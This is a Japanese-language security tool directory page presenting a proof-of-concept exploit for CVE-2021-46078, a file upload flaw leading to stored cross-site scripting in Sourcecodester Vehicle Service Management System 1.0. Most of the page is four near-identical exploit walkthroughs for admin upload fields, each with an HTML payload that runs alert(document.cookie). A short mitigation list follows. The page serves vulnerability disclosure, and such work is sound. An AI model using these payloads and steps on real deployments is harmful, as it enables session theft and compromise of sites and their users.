Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-46078 — CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、保存型クロスサイトスクリプティングの脆弱性につながる可能性があります。 | Kitploit
ツール/GitHubGitHub/sanupl/cve-2021-46078
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubsanupl/cve-2021-46078

CVE-2021-46078

CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、保存型クロスサイトスクリプティングの脆弱性につながる可能性があります。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-46078

Exploit Title: Vehicle Service Management System - 'Multiple' ファイルアップロードにより格納型クロスサイトスクリプティングが発生

Exploit Author: SANU P.L

CVE: CVE-2021-46078

CVSS: 4.8 MEDIUM

References:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

Description:

Sourcecodester Vehicle Service Management System 1.0 には、制限のないファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、格納型クロスサイトスクリプティング(Stored XSS)の脆弱性につながる可能性があります。

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. 管理パネルにログインします: http://localhost/vehicle_service/admin
  2. 「My Account」セクションに移動します: http://localhost/vehicle_service/admin/?page=user

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 上記のHTMLコードを保存します(例: XSS.html)
  2. 「My Account」セクションで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
  3. 更新ボタンをクリックします。
  4. アバター画像を新しいタブで開きます。
  5. 悪意のあるJavaScriptコードが実行されます。

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. 管理パネルにログインします: http://localhost/vehicle_service/admin
  2. 「User List」セクションに移動し、「Create New」ボタンをクリックします。

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 上記のHTMLコードを保存します(例: XSS.html)
  2. 「Create New User」ページで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
  3. 「Save」ボタンをクリックします。
  4. アバター画像を新しいタブで開きます。
  5. 悪意のあるJavaScriptコードが実行されます。

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Exploit:

  1. 管理パネルにログインします: http://localhost/vehicle_service/admin
  2. 「Settings」セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 上記のHTMLコードを保存します(例: XSS.html)
  2. 「Settings」セクションで必要な詳細をすべて入力し、「System Logo」にHTMLファイルを選択します。
  3. 更新ボタンをクリックします。
  4. 「System Logo」画像を新しいタブで開きます。
  5. 悪意のあるJavaScriptコードが実行されます。

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. 管理パネルにログインします: http://localhost/vehicle_service/admin
  2. 「Settings」セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 上記のHTMLコードを保存します(例: XSS.html)
  2. 「Settings」セクションで必要な詳細をすべて入力し、「Website Cover」にHTMLファイルを選択します。
  3. 更新ボタンをクリックします。
  4. 「Website Cover」画像を新しいタブで開きます。
  5. 悪意のあるJavaScriptコードが実行されます。

Impact:

攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、これにより格納型クロスサイトスクリプティング(Stored XSS)が発生する可能性があります。

Mitigation:

以下の対策を実施することを推奨します:

  • ホワイトリストフィルタなしに、ファイル名とその拡張子を直接受け入れないこと。
  • Unicode文字が不要な場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強く推奨します。
  • サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限すること。
  • アップロード先ディレクトリには「実行」権限を付与しないこと。
  • クライアント側の検証のみに依存しないこと。
ツールをダウンロード